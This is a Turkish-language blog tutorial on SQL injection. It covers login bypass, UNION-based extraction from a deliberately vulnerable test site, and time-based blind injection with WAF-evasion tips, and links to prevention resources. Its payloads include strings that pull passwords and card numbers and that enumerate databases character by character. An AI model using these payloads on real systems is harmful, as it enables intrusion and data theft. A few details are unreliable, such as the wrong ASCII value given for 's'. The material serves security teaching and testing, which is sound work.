SQLi (SQL Injection) Açıkları ve Türleri

SQL Injection (SQLi), kötüniyetli SQL ifadelerini çalıştırmayı mümkün kılan bir enjeksiyon saldırısı türüdür. Bu ifadeler, bir web uygulamasının arkasındaki veritabanı sunucusunu suistimal eder. Saldırganlar, uygulama güvenlik önlemlerini atlatmak için SQLi güvenlik açıklarını kullanabilir. Bir web sayfasının veya web uygulamasının kimlik doğrulamasını ve yetkilendirmesini atlatabilir, veritabanını kopyalayabilir, kayıt ekleyebilir, kayıtları değiştirebilir ve veritabanını bulunduran sunucunun işletim sistemi üzerinde komut çalıştırarak sunucu üzerindeki diğer verilere erişim sağlayabilir ve sunucuyu ele geçirebilir. Ele geçirilen sunucuyu güvenlik duvarının arkasındaki ağa da erişim sağlamak için kullanabilir.

OWASP organizasyonu (Open Web Application Security Project), SQL enjeksiyonlarını OWASP Top 10 belgesinde web uygulaması güvenliğine yönelik bir numaralı tehdit olarak listelemiştir.

Bir SQL Injection saldırısı yapmak için, bir saldırganın önce web sayfası veya web uygulaması içinde savunmasız kullanıcı girdilerini bulması gerekir. Bu girdiler yaygınlıkla GET/POST metoduyla ulaşan veriler olabileceği gibi HTTP header’ı ile taşınan, cookie ve referer gibi diğer veriler de olabilir.

Basit bir SQL Enjeksiyon Örneği

Bu ilk örnek çok basit. Bir saldırganın, uygulama güvenliğini aşmak ve yönetici olarak kimlik doğrulaması yapmak için bir SQL Injection güvenlik açığını nasıl kullanabileceğini gösterelim.

Aşağıdaki komut dosyası, bir web sunucusunda yürütülen sahte (pusedo) koddur. Bir kullanıcı adı ve parola ile kimlik doğrulamanın basit bir örneğidir. Örnek veritabanı, username ve password sütunlarına sahip olan users adlı bir tabloya sahiptir:

# POST değişkenlerini tanımla
uname = request.POST['username']
passwd = request.POST['password']

# SQLi zafiyetine sahip SQL ifadesi
sql = “SELECT id FROM users WHERE username=’” + uname + “’ AND password=’” + passwd + “’”

# SQL ifadesini çalıştır
database.execute(sql)

Bu giriş alanları SQL Injection’a karşı savunmasızdır. Saldırgan, girdide SQL komutlarını, veritabanı sunucusu tarafından yürütülen SQL ifadesini değiştirecek şekilde kullanabilir. Örneğin, tek tırnak içeren ve bir girdi kullanabilir ve passwd alanını şu şekilde ayarlayabilir:

password' OR 1=1

Sonuç olarak veritabanı sunucusu aşağıdaki SQL sorgusunu çalıştırır.

SELECT id FROM users WHERE username='username' AND password='password' OR 1=1'

OR 1=1 ifadesi nedeniyle, WHERE yan tümcesi, kullanıcı adı ve parola ne olursa olsun, users tablosundaki ilk kimliği döndürür. Bir veritabanındaki ilk kullanıcı kimliği genellikle yöneticidir. Bu şekilde, saldırgan yalnızca kimlik doğrulamasını atlamakla kalmaz, aynı zamanda yönetici ayrıcalıkları da kazanır. SQL sorgusunun yürütülmesini daha fazla kontrol etmek için SQL ifadesinin geri kalanını önemsiz hale getiren yorum karakterlerini kullanabilir. Farklı veritabanı türleri için kullanılan comment ifadeleri aşağıdaki gibidir.

-- MySQL, MSSQL, Oracle, PostgreSQL, SQLite
' OR '1'='1' --
' OR '1'='1' /*

-- MySQL
' OR '1'='1' #

-- Access (using null characters)
' OR '1'='1' %00
' OR '1'='1' %16

Union-Based SQL Injection Örneği

En yaygın SQL Injection türlerinden biri UNION operatörünü kullanır. Saldırganın iki veya daha fazla SELECT ifadesinin sonuçlarını tek bir sonuç halinde birleştirmesini sağlar. Tekniğe birleşim tabanlı SQL Enjeksiyon denir.

Aşağıda bu tekniğe bir örnek verilmiştir. Acunetix tarafından barındırılan kasıtlı olarak savunmasız bir web sitesi olan testphp.vulnweb.com web sayfasını kullanır.

Aşağıdaki HTTP isteği, meşru bir kullanıcının göndereceği normal bir istektir:

GET http://testphp.vulnweb.com/artists.php?artist=1 HTTP/1.1
Host: testphp.vulnweb.com

artist parametresi SQL Injection’a karşı savunmasızdır. Aşağıdaki payload, var olmayan bir kaydı aramak için sorguyu değiştirir. URL sorgu dizesindeki değeri -1 olarak ayarlar. Tabii ki, veritabanında bulunmayan başka herhangi bir değer olabilir. Ancak, bir veritabanındaki tanımlayıcı nadiren negatif bir sayı olduğundan, negatif bir değer kullanmak iyi bir fikirdir.

SQL Injection’da, UNION operatörü, web uygulaması tarafından çalıştırılması amaçlanan orijinal sorguya kötü amaçlı bir SQL sorgusu eklemek için yaygın olarak kullanılır. Enjekte edilen sorgunun sonucu, orijinal sorgunun sonucu ile birleştirilir. Bu, saldırganın diğer tablolardan sütun değerleri almasına izin verir.

GET http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1, 2, 3 HTTP/1.1
Host: testphp.vulnweb.com

Aşağıdaki örnek, kasıtlı olarak savunmasız olan bu siteden daha anlamlı veriler elde etmek için bir SQL Injection payload’unun nasıl kullanılabileceğini gösterir:

GET http://testphp.vulnweb.com/artists.php?artist=-1 UNION SELECT 1,pass,cc FROM users WHERE uname='test' HTTP/1.1
Host: testphp.vulnweb.com

Blind SQL Injection Örneği

SQL Injection güvenlik açığına sahip bir web sayfası veya web uygulaması, bu tür kullanıcı girişlerini doğrudan bir SQL sorgusunda kullanır. Saldırgan zararlı bir girdi içeriği oluşturabilir. Bu tür içeriklere genellikle kötü niyetli yük (payload) denir ve saldırının önemli bir parçasıdır. Saldırgan bu içeriği gönderdikten sonra, veritabanında kötü niyetli SQL komutları yürütülür ve bir çıktı döner. Zafiyetin türüne göre herhangi bir çıktı da dönmeyebilir (blind SQL injection). Bu tür durumlarda bir SQL işevi olan sleep() ve if (şartlı kontrol) ifadeleri kullanılarak testi yapılan uygulamanın tepki süresine bağlı çıkarımsal denemeler yapılabilir. Örneğin enjekte edilen bir SQL ile tablo adının ilk harfinin ‘a’ olup olmaması sleep() ile bekletme yapılarak tespit edilebilir. Eğer tablonun adının ilk adı ‘a’ ise 5sn bekle değilse hiç bekleme şeklinde. Tüm olası harfler bir blind SQL açığında bu şekilde denenerek bulunabilir. Aynı yöntem tablo içeriklerini yada diğer veritabanı içeriklerini elde etmek için de kullanılır. İşlemi hızlandırmak için toplam işin paralel çalışan birçok iş parçacığına bölünerek (threads) daha kısa sürede tamamlanması sağlanır. Süreye bağlı çıkarımların yapıldığıbu enjeksiyon türü blind sql injection‘ın özel bir türü olan time-based blind SQL injection olarak adlandırılır.

Yukarıdaki örneklerde uygulanan enjeksiyonun sonucu sayfada çıktı olarak yer alıyordu. Blind yani kör SQL enjeksiyonu adını web uygulamasının uygulanan enjeksiyona karşılık herhangi işe yarar bir çıktı döndürmemesinden alıyor. Bu enjeksiyonun iki alt türü var.

  • Time-Based SQLi: Zaman tabanlı SQL enjeksiyonu
  • Error-Based SQLi : Hata tabanlı SQL enjeksiyonu

Zaman tabanlı SQL enjeksiyonu (time based blind SQLi) örneği

İlk olarak time-based SQLi’dan bahsedelim. Bu SQL enjeksiyonu, veritabanının belirli bir süre duraklatılmasına ve ardından başarılı SQL sorgusu yürütüldüğünü gösteren sonuçları döndürmesine dayanır. Bu yöntemi kullanan bir saldırgan veriyi karakter karakter çekerek oluşturur. Zaman alan bir SQL enjeksiyon tekniğidir ancak sqlmap gibi araçların desteklediği paralel çalışma özellikleriyle (threads) makul şekilde hızlandırılabilir. Bu tekniğin nasıl uygulandığını MySQL veritabanı üzerinden örneklendirmeden önce kullanılacak bazı MySQL işlevlerine göz atalım. Bu işlevler MySQL veritabanı sunucusu üzerinde çalışan ve SQL cümlesi içerisinde kullanılabilen işlevlerdir.

version() : MySQL’in sürüm numarasını döndürür. select version(); cümlesini çalıştırarak veritabanı sürümünü görebilirsiniz. Örn. 5.5.4 gibi bir değer döndürür.

database() : Etkin veritabanının adını göndürür. select database(); cümlesini çalıştırarak veritabanı adını görebilirsiniz.

ascii() : Argüman olarak verilen karakterin ASCII numarasını döndürür. Örneğin select ascii(‘A’); sorgusunu çalıştırırsanız 65 değeri döner. Çünkü büyük a harfinin ASCII kodu 65’dir. ASCII tabloda toplam 256 karakter bulunur.

substring() : Bir string’den (karakter katarı) istenilen bir pozisyondan itibaren istenilen uzunlukta bir alt string’i almak için kullanılır.

Yukarıdaki işlevlerin iç içe kullanıldığı aşağıdaki örnekleri inceleyelim.

select ascii(version());

Örneğin çalıştığınız MySQL sunucusunun sürüm numarası ‘5.5.4’ün ilk karakteri 5’in ASCII kodunu olan 53 sayısını döndürür.

select substring(database(), 1, 1) 

Yukarıdaki SQL’i çalıştırdığınız veritabanının adının ‘siparisler’ olduğunu varsayarsak SQL cümlesi bize veritabanı adının ilk harfi olan s’nin ASCII kodunu yani 73 sayısını döndürür.

Temel olarak bilgilenmemiz gereken MySQL işlevleri bukadar. Şimdi MySQL’in çalışma sistemi hakkında bilgilenelim. MySQL sunucusu bulundurduğu veritabanı, tablo, kullanıcılar vb. herşeyi yine MySQL formatından bir veritabanında saklar. Bu veritabanının adı INFORMATION_SCHEMA’dır. Sunucuda saklanan veritabanları,tablolar,sütunlar,veritabanı kullanıcıları gibi herşey bu veritabanında saklanır. Aşağıdaki SQL cümlesi bu veritabanını sorgulayarak 2. sıradaki (limit 1,1) veritabanının adını getirir. Limit başlangıç değeri ile oynayarak sırasıyla tüm veritabanlarının adlarını listeletebilirsiniz. Benzer şekilde tabloları, kullanıcıları vb.

SELECT distinct(table_schema) FROM INFORMATION_SCHEMA.tables limit 1,1;

Bu SQL cümlesi INFORMATION_SCHEMA veritabanındaki tables adlı tablonun table_schema sütunun getirip, tekrarlı değerleri elemiştir (distinct). Son olarak gelen listenin 2. sırasındaki satırı seçmiştir (limit 1,1). Dönen sonuç aşağıdaki gibidir. Yani sunucuda kullanicilar adında bir veritabanı mevcuttur.

kullanicilar

Örneği biraz daha geliştirelim ve yukarıda yer verdiğimiz substring işlevini dahil edelim.

select SUBSTRING((SELECT distinct(table_schema) FROM INFORMATION_SCHEMA.tables limit 1,1), 1, 1);
Bu SQL komutu öncekinden farklı olarak dönen 'kullanicilar' ifadesinin ilk karakteri olan k'yı listelemektedir.
k

Bu kadar temel bilgi yeterli. Yavaş yavaş bir time based blind SQL injection açığının nasıl suistimal edilebileceğine bakalım. Yapmaya çalışacağımız şey sunucudaki veritabanlarının bir listesini almak. Önce ‘kullanıcılar’ veritabanının ismini tespit etmeye çalışacağız. Bunun için önce k harfini ardından u harfini bulacağız ve böyle devam edecek (bunu sunucudaki herhangi bir veritabanı veya tabloya için düşünebilirsiniz, tüm meta bilgileri INFORMATION_SCHEMA veritabanında tutuluyor). Blind türdeki enjeksiyonların herhangi bir şekilde kullanıcı tarafına çıktı vermediğini söylemiştim. Yapacağımız şey şu; alfabedeki tüm harfleri denemek üzere öncelikle veritabanının ilk harfinin ‘a’ olup olmadığını kontrol edeceğiz. Eğer ‘a’ ise SQL’in çalışma süresini geciktiren sleep() işlevini kullanarak belli bir süre sayfanın dönüş süresini geciktireceğiz. Örneğin 10sn. Tabiki bu değer sayfanın ortalama çıktılanma süresine göre optimize edilebilir. Eğer sayfa 10sn sonra cevap verirse bileceğiz ki veritabanı adının ilk harfi ‘a’. Değilse hiç beklemeden ikinci harf olan ‘b’ yi kontrol edeceğiz. Kullanacağımız SQL genel olarak şöyle.

select if( SUBSTRING((SELECT distinct(table_schema) FROM INFORMATION_SCHEMA.tables limit 1,1), 1, 1) = 'k', sleep(10), 0);

Yukarıdaki SQL’in çalışması 10sn kadar sürmüştür. Eğer veritabanı adının ilk harfi ‘k’ olmasaydı hiç beklemeden tamamlanacaktı. Bu SQL’de ek olarak if komutunu kullandık. if komutunun kullanımı oldukça basittir, ilk parametre kontrol edilecek ifadeyi, ikinci parametre kontrol sonucunun doğru olması durumunda yapılacak işi ve son parametre ise kontrol sonucunun yanlış olması durumunda yapılacak işi tanımlar. Şart doğru olduğunda 10sn’lik bir bekletme yaratmak için sleep(10) komutunu kullandık, aksi takdirde (yani şart yanlış olduğunda) geriye 0 değeri döndürmesini söyledik. MySQL’de sleep komutu yerine gecikme yaratmak için kullanılabilecek birçok işlev vardır. Eğer sleep işlevi devre dışı ise diğer işlevler denenebilir. Bu şekilde veritabanında tutulan tüm tabloların adlarını, sütun adlarını öğrenebiliriz. Ardından bir tabloyu hedef alarak istediğimiz kaydı okuyabiliriz.

Son yazıdığımız SQL cümlesi tam olarak istediğimiz şeyi yaptı fakat yeterli değil. Yukarıdaki örnekte if’in şartı olarak ‘k’ karakterini kontrol etmiştik. Bir karakter karşılaştırması yapabilmek için ifadeyi tırnak işaretleri içinde kullanmak zorundayız lakin bu WAF (Web Application Firewall)’ların sevdiği birşey olmadığı gibi web uygulaması tarafından tırnaklar temizleniyor olabilir. Bu durumda SQL enjeksiyonumuz çalışmayacaktır. ‘k’ ifadesinin yerine k’nın ASCII kodu olan 107’yi kullanabiliriz. Bunun için k harfini döndüren kısmı ascii() işlevi içine yerleştireceğiz ve if şartı olarak 107 ile karşılaştıracağız. Son SQL ifademiz şu şekilde:

select if( ascii(SUBSTRING((SELECT distinct(table_schema) FROM INFORMATION_SCHEMA.tables limit 1,1), 1, 1)) = 107, sleep(10), 0);

Evet bu işlemler gerçekten karışık ve belli bir veriyi elde etmek uzun sürebilir. Burada sadece time-based blind SQL’in tam olarak nasıl çalıştığını anlatmaya çalıştım. Tabiki burada yer verdiğim sqlmap aracını kullanmak çok daha iyi bir fikirdir. sqlmap blind-sqli açıklarını başarıyla ve hızlı test edebilen bir araç.

Son olarak bu SQL’i nasıl enjekte edebileceğimize bakalım. Bunun da birçok farklı yolu var fakat anlaşılır olması açısından konunun başında verdiğim örnek üzerinden gidecek olursak payload’umuz tam olarak şunun gibi birşey olacak:

GET http://testphp.vulnweb.com/artists.php?artist=-1 UNION select if( ascii(SUBSTRING((SELECT distinct(table_schema) FROM INFORMATION_SCHEMA.tables limit 1,1), 1, 1)) = 107, sleep(10), 0); HTTP/1.1 Host: testphp.vulnweb.com

Denemeler Yapmak Zafiyetli Web Uygulamaları

Damn Vulnerable Web Application (DVWA)
https://dvwa.co.uk/

SQLInjection deneme tahtası uygulaması
http://testphp.vulnweb.com/

Referanslar:

PHP’de SQL Enjeksiyonlarını Önleme
https://www.tankado.com/phpde-sql-enjeksiyonlari-nasil-onlenir-pdo/

Web Uygulamalarının Derinlemesini Savunulması
https://www.acunetix.com/websitesecurity/defence-in-depth-and-how-it-applies-to-web-applications/

PHP Top 5 Zafiyetleri
https://wiki.owasp.org/index.php/PHP_Top_5
OWASP SQL enjeksiyon zafiyetleri
https://owasp.org/www-community/attacks/SQL_Injection

PHP dilinde SQLi zafiyetleri nasıl önlenir:
https://www.acunetix.com/blog/articles/prevent-sql-injection-vulnerabilities-in-php-applications/

Hangi programlama dilinde/framework’de netür tekniklerle SQLi’a karşı önlem alınır.
https://bobby-tables.com/

Acunetix SQL enjeksiyon zafiyetleri
https://www.acunetix.com/websitesecurity/sql-injection/

WebSec SQL Injection
https://www.websec.ca/kb/sql_injection

PortSwigger SQL Injection Dökümanları:
https://portswigger.net/web-security/sql-injection/blind

Enjeksiyona maruz kaldıktan sonra yapılacaklar:
https://www.securitynik.com/2020/07/continuing-sql-injection-with-sqlmap_7.htm

Yazar: Özgür Koca

Yazar - Tankado.com

Bir cevap yazın

E-posta hesabınız yayımlanmayacak.

This site uses Akismet to reduce spam. Learn how your comment data is processed.